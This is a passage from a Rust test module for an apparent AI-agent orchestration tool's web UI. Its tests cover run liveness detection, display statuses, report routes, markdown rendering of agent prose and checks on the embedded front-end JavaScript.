14060 state.driver_started_at = Some(
14061 crate::proc::process_started_at(std::process::id())
14062 .expect("this test process's own start time must be queryable"),
14063 );
14064 let dir = f.runs().join(id);
14065 std::fs::create_dir_all(&dir).expect("run dir");
14066 std::fs::write(
14067 dir.join("run.json"),
14068 serde_json::to_string_pretty(&state).expect("serialize run"),
14069 )
14070 .expect("write run.json");
14071
14072 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14073 assert_eq!(detail["live"], "live", "{detail}");
14074 }
14075
14076 #[tokio::test]
14082 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
14083 let f = Fixture::start().await;
14084 let id = "20260922-090100-dddd";
14085 let mut state = RunState::new(
14086 PathBuf::from("/repo/magi"),
14087 "main".to_owned(),
14088 "0123456789abcdef".to_owned(),
14089 "Review only".to_owned(),
14090 Config::default(),
14091 );
14092 state.id = id.to_owned();
14093 state.status = RunStatus::Reviewing;
14094 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14095 state.driver_pid = Some(std::process::id());
14100 state.driver_started_at = Some("1".to_owned());
14101 let dir = f.runs().join(id);
14102 std::fs::create_dir_all(&dir).expect("run dir");
14103 std::fs::write(
14104 dir.join("run.json"),
14105 serde_json::to_string_pretty(&state).expect("serialize run"),
14106 )
14107 .expect("write run.json");
14108
14109 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14110 assert_eq!(detail["live"], "dead", "{detail}");
14111 }
14112
14113 #[test]
14117 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
14118 let mk = |id: &str, pid: Option<u32>| {
14119 let mut s = RunState::new(
14120 PathBuf::from("/repo/magi"),
14121 "main".to_owned(),
14122 "0123456789abcdef".to_owned(),
14123 "Add a web UI".to_owned(),
14124 Config::default(),
14125 );
14126 s.id = id.to_owned();
14127 s.driver_pid = pid;
14128 s.driver_started_at = Some("1790000000".to_owned());
14129 s
14130 };
14131 let states = vec![
14132 mk("20260902-140502-aaaa", Some(77)),
14133 mk("20260902-140502-bbbb", Some(77)),
14134 mk("20260902-140502-cccc", Some(77)),
14135 mk("20260902-140502-dddd", None),
14136 ];
14137 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
14138 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
14139 let sup: HashMap<String, String> = [(
14140 "20260902-140502-aaaa".to_owned(),
14141 "20260902-140502-cccc".to_owned(),
14142 )]
14143 .into();
14144
14145 let status_calls = std::cell::Cell::new(0);
14146 let identity_calls = std::cell::Cell::new(0);
14147 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
14148 |_| {
14149 status_calls.set(status_calls.get() + 1);
14150 Some(true)
14151 },
14152 |_| {
14153 identity_calls.set(identity_calls.get() + 1);
14154 Some("1790000000".to_owned())
14155 },
14156 ));
14157 let rows = summarize(
14158 states,
14159 &open,
14160 &claimed,
14161 &sup,
14162 |p| probe.borrow_mut().status(p),
14163 |p| probe.borrow_mut().started_at(p),
14164 );
14165
14166 assert_eq!(status_calls.get(), 1, "one pid, one status query");
14167 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
14168 assert_eq!(rows.len(), 4);
14169 assert!(!rows[0].waiting && rows[1].waiting);
14170 assert_eq!(rows[0].live, crate::run::Liveness::Live);
14171 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
14172 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
14173 assert_eq!(rows[1].superseded_by, None);
14174 }
14175
14176 #[test]
14177 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
14178 let mut state = RunState::new(
14179 PathBuf::from("/repo/magi"),
14180 "main".to_owned(),
14181 "0123456789abcdef".to_owned(),
14182 "Review only".to_owned(),
14183 Config::default(),
14184 );
14185 state.id = "20260922-090200-dead".to_owned();
14186 state.status = RunStatus::Reviewing;
14187 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
14188 .expect("serialize list row");
14189 assert_eq!(row["status"], "reviewing");
14190 assert_eq!(row["display_status"], "stale");
14191 assert_eq!(row["live"], "dead", "{row}");
14192 assert!(!row["done"].as_bool().unwrap());
14193 }
14194
14195 #[test]
14196 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
14197 use crate::run::Liveness::{Dead, Live, Unknown};
14198 let mut state = RunState::new(
14199 PathBuf::from("/repo/magi"),
14200 "main".to_owned(),
14201 "abc".to_owned(),
14202 "Review only".to_owned(),
14203 Config::default(),
14204 );
14205 for (status, parked, node, waiting, live, expected) in [
14206 (
14207 RunStatus::Judging,
14208 true,
14209 "github-text",
14210 false,
14211 Dead,
14212 "parked",
14213 ),
14214 (RunStatus::Judging, false, "park", false, Dead, "stale"),
14215 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
14216 (
14217 RunStatus::Judging,
14218 true,
14219 "github-text",
14220 true,
14221 Dead,
14222 "waiting",
14223 ),
14224 (
14225 RunStatus::Judging,
14226 false,
14227 "github-text",
14228 true,
14229 Dead,
14230 "waiting",
14231 ),
14232 (
14233 RunStatus::Judging,
14234 false,
14235 "github-text",
14236 false,
14237 Dead,
14238 "stale",
14239 ),
14240 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
14241 (RunStatus::Judging, true, "park", false, Live, "judging"),
14242 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
14243 (RunStatus::Merged, true, "park", false, Dead, "merged"),
14244 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
14245 (
14246 RunStatus::Blocked,
14247 true,
14248 "github-text",
14249 true,
14250 Dead,
14251 "waiting",
14252 ),
14253 ] {
14254 state.status = status;
14255 state.parked = parked;
14256 state.events.clear();
14257 state.event(
14258 "park",
14259 "an earlier park does not determine the latest state",
14260 );
14261 state.event(node, "message is not used for classification");
14262 let summary = RunSummary::of(&state, waiting, live);
14263 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
14264 assert_eq!(
14265 summary.display_status, expected,
14266 "{status:?}/{node}/{live:?}"
14267 );
14268 assert_eq!(detail.display_status, summary.display_status);
14269 assert_eq!(detail.waiting, summary.waiting);
14270 }
14271 state.status = RunStatus::Judging;
14272 state.parked = false;
14273 state.events.clear();
14274 assert_eq!(run_display_status(&state, false, Dead), "stale");
14275 }
14276
14277 #[tokio::test]
14278 async fn run_display_status_routes_share_the_open_question_store() {
14279 let f = Fixture::start().await;
14280 let id = "20260922-090200-abcd";
14281 write_run(&f.runs(), id, RunStatus::Judging);
14282 let mut state = read_run(&f.runs(), id).unwrap();
14283 state.parked = true;
14284 state.driver_exited = true;
14285 state.event("github-text", "waiting for the owner");
14286 state.save_under(f.home.path()).unwrap();
14287 let store = f.questions();
14288 let mut q = Question::new(
14289 id.to_owned(),
14290 "github-text".to_owned(),
14291 "owner".to_owned(),
14292 "Approve the text?".to_owned(),
14293 String::new(),
14294 Vec::new(),
14295 );
14296 store.put(&mut q).unwrap();
14297 for expected in ["waiting", "parked"] {
14298 let list = f.get("/api/runs").await.json();
14299 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14300 assert_eq!(list[0]["display_status"], expected);
14301 assert_eq!(detail["display_status"], expected);
14302 assert_eq!(detail["waiting"], list[0]["waiting"]);
14303 q.status = ask::QuestionStatus::Answered;
14304 store.put(&mut q).unwrap();
14305 }
14306 }
14307
14308 #[tokio::test]
14309 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
14310 let f = Fixture::start().await;
14311 let id = "20260922-090200-abcd";
14312 write_run(&f.runs(), id, RunStatus::Judging);
14313 let mut state = read_run(&f.runs(), id).unwrap();
14314 state.parked = true;
14315 state.driver_exited = true;
14316 state.event("park", "stopped at a node boundary");
14317 state.save_under(f.home.path()).unwrap();
14318
14319 for expected in ["parked", "stale"] {
14320 let list = f.get("/api/runs").await.json();
14321 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14322 assert_eq!(list[0]["live"], "dead");
14323 assert_eq!(list[0]["display_status"], expected);
14324 assert_eq!(detail["display_status"], expected);
14325 state.parked = false;
14328 state.save_under(f.home.path()).unwrap();
14329 }
14330 }
14331
14332 #[tokio::test]
14333 async fn the_run_list_is_newest_first_and_honours_a_limit() {
14334 let f = Fixture::start().await;
14335 for id in [
14336 "20260902-140501-aaaa",
14337 "20260902-140502-bbbb",
14338 "20260902-140503-cccc",
14339 ] {
14340 write_run(&f.runs(), id, RunStatus::Merged);
14341 }
14342
14343 let all = f.get("/api/runs").await.json();
14344 let capped = f.get("/api/runs?limit=2").await.json();
14345
14346 assert_eq!(all[0]["id"], "20260902-140503-cccc");
14347 assert_eq!(all.as_array().map(Vec::len), Some(3));
14348 assert_eq!(capped.as_array().map(Vec::len), Some(2));
14349 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
14350 }
14351
14352 #[tokio::test]
14353 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
14354 let f = Fixture::start().await;
14355 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
14356
14357 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
14358
14359 assert_eq!(res.status, 200);
14360 assert!(
14361 res.headers
14362 .contains("content-type: text/plain; charset=utf-8"),
14363 "a browser must render it, not download it: {}",
14364 res.headers
14365 );
14366 assert!(
14370 res.body.contains("20260902-140501-a1b2"),
14371 "the report is about the run that was asked for: {}",
14372 res.body
14373 );
14374 }
14375
14376 #[tokio::test]
14377 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
14378 crate::run::pin_test_home();
14380 let f = Fixture::start().await;
14381 let id = "20260902-140501-a1b2";
14382 write_run(&f.runs(), id, RunStatus::Stalled);
14383 let path = f.runs().join(id).join("run.json");
14386 let mut v: serde_json::Value =
14387 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14388 v["tally"] = serde_json::json!({
14389 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14390 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
14391 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
14392 "met_quorum": false, "rankings": 1
14393 });
14394 v["reviews"] = serde_json::json!([{
14395 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
14396 "e2e_deferred": true,
14397 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
14398 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
14399 ]}]
14400 }]);
14401 std::fs::write(&path, v.to_string()).unwrap();
14402 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
14403 std::fs::write(
14404 f.runs().join("20260902-140502-dead").join("run.json"),
14405 "{not json",
14406 )
14407 .unwrap();
14408
14409 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14410
14411 assert_eq!(res.status, 200, "{}", res.body);
14412 assert!(res.headers.contains("content-type: application/json"));
14413 let j = res.json();
14414 assert_eq!(j["schema"], 1);
14415 assert_eq!(j["header"]["id"], id);
14416 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
14417 let kinds: Vec<&str> = j["sections"]
14418 .as_array()
14419 .unwrap()
14420 .iter()
14421 .map(|s| s["kind"].as_str().unwrap())
14422 .collect();
14423 assert_eq!(kinds, ["candidates", "tally", "review"]);
14424 let tally = &j["sections"][1]["tally"];
14425 assert_eq!(
14426 (tally["decided"].clone(), tally["provisional"].clone()),
14427 (false.into(), true.into())
14428 );
14429 let round = &j["sections"][2]["rounds"][0];
14430 assert_eq!(round["e2e"]["state"], "deferred");
14431 assert_eq!(round["findings"][0]["severity"], "major");
14432 assert_eq!(round["findings"][0]["blocking"], true);
14433 assert_eq!(round["findings"][0]["state"], "open");
14434
14435 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
14437
14438 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
14440 assert_ne!(bad.status, 200, "{}", bad.body);
14441 assert_eq!(
14442 bad.status,
14443 f.get("/api/runs/20260902-140502-dead/report").await.status
14444 );
14445 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
14446 assert_eq!(
14447 f.get("/api/runs/20260902-999999-ffff/report.json")
14448 .await
14449 .status,
14450 404
14451 );
14452 }
14453
14454 #[tokio::test]
14455 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
14456 crate::run::pin_test_home();
14457 let f = Fixture::start().await;
14458 let id = "20260902-140503-delib";
14459 write_run(&f.runs(), id, RunStatus::Merged);
14460 let path = f.runs().join(id).join("run.json");
14461 let mut v: serde_json::Value =
14462 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14463 v["judgements"] = serde_json::json!([
14464 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14465 ]);
14466 v["tally"] = serde_json::json!({
14467 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14468 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
14469 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
14470 "met_quorum": true, "rankings": 1
14471 });
14472 v["deliberation"] = serde_json::json!([
14473 {
14474 "round": 1,
14475 "turns": [
14476 {
14477 "judge": 1,
14478 "agent": "judge-1",
14479 "body": "I prefer candidate **A** because it has cleaner tests.",
14480 "tentative": "A"
14481 }
14482 ]
14483 },
14484 {
14485 "round": 2,
14486 "turns": [
14487 {
14488 "judge": 1,
14489 "agent": "judge-1",
14490 "body": "Still thinking, no choice yet.",
14491 "tentative": null
14492 }
14493 ]
14494 }
14495 ]);
14496 std::fs::write(&path, v.to_string()).unwrap();
14497
14498 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14499 assert_eq!(res.status, 200, "{}", res.body);
14500 let j = res.json();
14501 let judging = j["sections"]
14502 .as_array()
14503 .unwrap()
14504 .iter()
14505 .find(|s| s["kind"] == "judging")
14506 .expect("judging section exists");
14507
14508 let delib_lines = judging["deliberation"].as_array().unwrap();
14510 assert_eq!(delib_lines.len(), 2);
14511 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
14512 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
14513
14514 let rounds = judging["rounds"].as_array().unwrap();
14516 assert_eq!(rounds.len(), 2);
14517 let r1_t0 = &rounds[0]["turns"][0];
14518 assert_eq!(r1_t0["judge"], 1);
14519 assert_eq!(r1_t0["agent"], "judge-1");
14520 assert_eq!(r1_t0["tentative"], "A");
14521 assert_eq!(
14522 r1_t0["body"],
14523 "I prefer candidate **A** because it has cleaner tests."
14524 );
14525 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
14526
14527 let r2_t0 = &rounds[1]["turns"][0];
14528 assert_eq!(r2_t0["judge"], 1);
14529 assert_eq!(r2_t0["agent"], "judge-1");
14530 assert!(r2_t0["tentative"].is_null());
14531 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
14532 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
14533
14534 let id_empty = "20260902-140504-nodelib";
14536 write_run(&f.runs(), id_empty, RunStatus::Merged);
14537 let path_empty = f.runs().join(id_empty).join("run.json");
14538 let mut v_empty: serde_json::Value =
14539 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
14540 v_empty["judgements"] = serde_json::json!([
14541 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14542 ]);
14543 v_empty["deliberation"] = serde_json::json!([]);
14544 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
14545
14546 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
14547 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
14548 let j_empty = res_empty.json();
14549 let judging_empty = j_empty["sections"]
14550 .as_array()
14551 .unwrap()
14552 .iter()
14553 .find(|s| s["kind"] == "judging")
14554 .expect("judging section exists");
14555 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
14556 }
14557
14558 #[tokio::test]
14559 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
14560 let f = Fixture::start().await;
14561
14562 let html = f.get("/").await;
14563 let css = f.get("/app.css").await;
14564 let js = f.get("/app.js").await;
14565
14566 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
14567 assert!(
14568 html.headers
14569 .contains("content-type: text/html; charset=utf-8")
14570 );
14571 assert!(css.headers.contains("content-type: text/css"));
14572 assert!(js.headers.contains("content-type: text/javascript"));
14573 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
14574 }
14575
14576 #[test]
14577 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
14578 let body = |name: &str| {
14579 let at = APP_JS
14580 .find(name)
14581 .unwrap_or_else(|| panic!("{name} missing"));
14582 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14583 };
14584 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
14585 let note = body("function landRoundNote");
14586 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
14587 assert!(note.contains("Land round ${round}"));
14588 let land = body("function renderLand");
14589 let note_at = land
14590 .find("landRoundNote(pr)")
14591 .expect("renderLand uses the note");
14592 assert!(
14593 note_at
14594 < land
14595 .find("roundRail(pr)")
14596 .expect("renderLand uses the rail")
14597 );
14598 }
14599
14600 #[test]
14601 fn the_runs_page_redesign_keeps_its_guards() {
14602 let body = |name: &str| {
14603 let at = APP_JS
14604 .find(name)
14605 .unwrap_or_else(|| panic!("{name} missing"));
14606 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14607 };
14608 let land = body("function renderLand");
14610 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
14611 assert!(
14612 !land.contains("box.append("),
14613 "renderLand must use append()"
14614 );
14615 assert!(land.contains("append(box, ["));
14616 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
14618 assert!(
14619 body("function applyRoute")
14620 .contains("route.name !== state.route.name || route.id !== state.route.id")
14621 );
14622 assert!(!APP_JS.contains("adviseConvergeDiagram"));
14624 assert!(!INDEX_HTML.contains("advise-converge"));
14625 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
14626 assert!(APP_JS.contains("provisional"));
14627 for id in [
14628 "run-tab-overview",
14629 "run-tab-timeline",
14630 "run-tab-report",
14631 "run-report",
14632 "runs-scope",
14633 ] {
14634 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
14635 }
14636 assert!(!INDEX_HTML.contains("runs-tree"));
14637 assert!(!INDEX_HTML.contains("run-raw-panel"));
14638 assert!(APP_JS.contains("resume"));
14640 assert!(APP_JS.contains("unreadable"));
14642 }
14643
14644 #[test]
14645 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
14646 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
14647 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
14648 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
14649 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
14650 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
14651 assert!(APP_JS.contains("unreadable` : null"));
14653 }
14654
14655 #[test]
14656 fn the_run_detail_payload_says_whether_the_run_is_done() {
14657 for (status, done) in [
14659 (RunStatus::Superseded, true),
14660 (RunStatus::Blocked, true),
14661 (RunStatus::Landing, false),
14662 ] {
14663 let mut state = RunState::new(
14664 std::path::PathBuf::from("/repo"),
14665 "main".to_owned(),
14666 "abc".to_owned(),
14667 "x".to_owned(),
14668 crate::config::Config::default(),
14669 );
14670 state.status = status;
14671 let v = serde_json::to_value(RunDetailView::of(
14672 state,
14673 false,
14674 crate::run::Liveness::Unknown,
14675 None,
14676 None,
14677 None,
14678 ))
14679 .unwrap();
14680 assert_eq!(v["done"], done, "{status:?}");
14681 }
14682 }
14683
14684 fn has_strong(nodes: &[md::Node]) -> bool {
14686 serde_json::to_string(nodes).unwrap().contains("strong")
14687 }
14688
14689 #[test]
14690 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
14691 let mut state = RunState::new(
14692 std::path::PathBuf::from("/repo"),
14693 "main".to_owned(),
14694 "abc".to_owned(),
14695 "x".to_owned(),
14696 crate::config::Config::default(),
14697 );
14698 let proposal = |approach: &str| {
14699 serde_json::json!({
14700 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
14701 })
14702 };
14703 state.advice = Some(
14704 serde_json::from_value(serde_json::json!({
14705 "records": [
14706 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
14707 "proposal": proposal("do **this**")},
14708 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
14709 ],
14710 "synthesis": "- one\n- **two**\n\n`code`",
14711 }))
14712 .unwrap(),
14713 );
14714 state.candidates = serde_json::from_value(serde_json::json!([
14715 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
14716 "summary": "did **it**"},
14717 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
14718 ]))
14719 .unwrap();
14720 state.reviews = serde_json::from_value(serde_json::json!([{
14723 "round": 1, "head": "h",
14724 "reviews": [{
14725 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
14726 "findings": [
14727 {"severity": "nit", "title": "t1", "detail": "plain nit"},
14728 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
14729 ],
14730 }],
14731 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
14732 "fix": {"agent": "a", "notes": "fixed **it**",
14733 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
14734 }, {"round": 2, "head": "h2", "reviews": []}]))
14735 .unwrap();
14736
14737 let v = serde_json::to_value(RunDetailView::of(
14738 state,
14739 false,
14740 crate::run::Liveness::Unknown,
14741 None,
14742 None,
14743 None,
14744 ))
14745 .unwrap();
14746
14747 let strong = |p: &str| {
14748 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
14749 assert!(n.to_string().contains("strong"), "{p}: {n}");
14750 };
14751 strong("/advice_md/synthesis");
14752 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
14753 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
14754 strong("/advice_md/approaches/0");
14755 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
14756 strong("/candidate_summaries_md/0");
14757 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
14758 strong("/reviews_md/0/reviewers/0/summary");
14759 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
14760 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
14761 assert!(f[1].to_string().contains("strong"));
14762 strong("/reviews_md/0/reconsideration/0");
14763 strong("/reviews_md/0/fix/notes");
14764 strong("/reviews_md/0/fix/rejected/0");
14765 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
14766 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
14767 assert_eq!(v["candidates"][0]["summary"], "did **it**");
14769 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
14770 }
14771
14772 #[test]
14773 fn a_run_without_advice_has_no_advice_md() {
14774 let state = RunState::new(
14775 std::path::PathBuf::from("/repo"),
14776 "main".to_owned(),
14777 "abc".to_owned(),
14778 "x".to_owned(),
14779 crate::config::Config::default(),
14780 );
14781 let p = run_prose_md(&state);
14782 assert!(p.advice_md.is_none());
14783 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
14784 }
14785
14786 #[test]
14787 fn a_question_view_carries_markdown_for_each_thread_turn() {
14788 let home = TempDir::new().unwrap();
14789 let store = ask::Questions::at(home.path().join("questions"));
14790 let mut q = Question::new(
14791 "run".to_owned(),
14792 "implement".to_owned(),
14793 "impl-A".to_owned(),
14794 "which?".to_owned(),
14795 String::new(),
14796 Vec::new(),
14797 );
14798 q.say("plain words").unwrap();
14799 q.reply("use **this**", Vec::new()).unwrap();
14800 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14801 let bodies = &v["thread_bodies_md"];
14802 assert_eq!(bodies.as_array().unwrap().len(), 2);
14803 assert!(!bodies[0].to_string().contains("strong"));
14804 assert!(bodies[1].to_string().contains("strong"));
14805 }
14806
14807 #[test]
14808 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
14809 let home = TempDir::new().unwrap();
14810 let store = ask::Questions::at(home.path().join("questions"));
14811 let mut q = Question::new(
14812 "run".to_owned(),
14813 "conduct".to_owned(),
14814 "conduct".to_owned(),
14815 "which?".to_owned(),
14816 String::new(),
14817 Vec::new(),
14818 );
14819 q.say("plain words").unwrap();
14820 q.thread.push(ask::Turn {
14821 who: ask::Who::Agent,
14822 body: "Settled as `merge`".to_owned(),
14823 at: jiff::Timestamp::now(),
14824 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
14825 });
14826 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14827 let notes = &v["thread_notes_md"];
14828 assert_eq!(notes.as_array().unwrap().len(), 2);
14829 assert!(notes[0].is_null());
14830 let text = notes[1].to_string();
14831 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
14832 assert!(APP_JS.contains("ask-turn-note"));
14833 }
14834
14835 #[test]
14836 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
14837 assert!(APP_JS.contains("function landView(run, raw) {"));
14841 assert!(
14842 APP_JS.contains(
14843 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
14844 )
14845 );
14846 assert!(APP_JS.contains("const pr = landView(run, raw);"));
14847 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
14848 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
14849 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
14850 }
14851
14852 #[test]
14853 fn live_runs_are_never_hidden_or_folded_as_superseded() {
14854 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
14855 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
14856 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
14857 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
14858 }
14859
14860 #[test]
14861 fn review_rounds_label_a_distinct_verified_head() {
14862 assert!(APP_JS.contains("round.verified_head"));
14863 assert!(APP_JS.contains("verified HEAD"));
14864 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
14865 }
14866
14867 #[test]
14868 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
14869 assert!(APP_JS.contains("blocked: { glyph:"));
14873 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
14874
14875 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
14879 assert!(
14880 APP_JS.contains(
14881 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
14882 ),
14883 "the note line must name what a blocked task is waiting on, not just that it is blocked"
14884 );
14885 assert!(APP_JS.contains("if (status === \"blocked\") {"));
14889
14890 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
14894 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
14895 assert!(
14896 APP_JS.contains("location.hash = \"#/questions\";"),
14897 "a question node must jump to the Questions screen, not pretend to be a task"
14898 );
14899
14900 assert!(APP_JS.contains("Resolved questions"));
14903 assert!(APP_JS.contains("r.answersList.append("));
14904 assert!(APP_CSS.contains(".task-answers"));
14905 {
14906 let start = APP_JS
14907 .find("function updateTalkTaskRow")
14908 .expect("updateTalkTaskRow");
14909 let body = &APP_JS[start..];
14910 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
14911 assert!(
14912 body.contains(
14913 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
14914 ),
14915 "a chat-filed task row must link to the task page"
14916 );
14917 assert!(
14918 !body.contains("#/runs/") && !body.contains("#/queue/"),
14919 "the row must not branch to a run or the queue card"
14920 );
14921 assert!(APP_CSS.contains(".talk-task-link"));
14922 }
14923 }
14924
14925 #[test]
14926 fn a_task_notification_links_to_the_task_page() {
14927 let start = APP_JS
14929 .find("function noticeLink(")
14930 .expect("noticeLink exists");
14931 let body = &APP_JS[start..];
14932 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
14933 assert!(
14934 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
14935 "a task notice's link must target the task page"
14936 );
14937 assert!(
14938 !body.contains("#/queue/"),
14939 "regression: the task link must not go back to the Backlog route"
14940 );
14941 assert!(
14942 APP_JS.contains(
14943 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
14944 ),
14945 "`#/tasks/<id>` must parse into the task route"
14946 );
14947
14948 assert!(
14950 APP_JS.contains(
14951 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
14952 ),
14953 "`#/queue/<id>` must parse into a route carrying that id"
14954 );
14955
14956 assert!(APP_JS.contains("state.queueFocus = route.id;"));
14960 assert!(APP_JS.contains("function consumeQueueFocus()"));
14961 assert!(APP_JS.contains("jumpToTask(id)"));
14962 }
14963
14964 #[test]
14967 fn chat_rows_put_the_title_alone_on_the_first_line() {
14968 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
14969 assert!(APP_CSS.contains(
14970 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
14971 ));
14972 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
14973 assert!(APP_JS.contains("class: \"badge talk-unread\""));
14974 }
14975
14976 #[test]
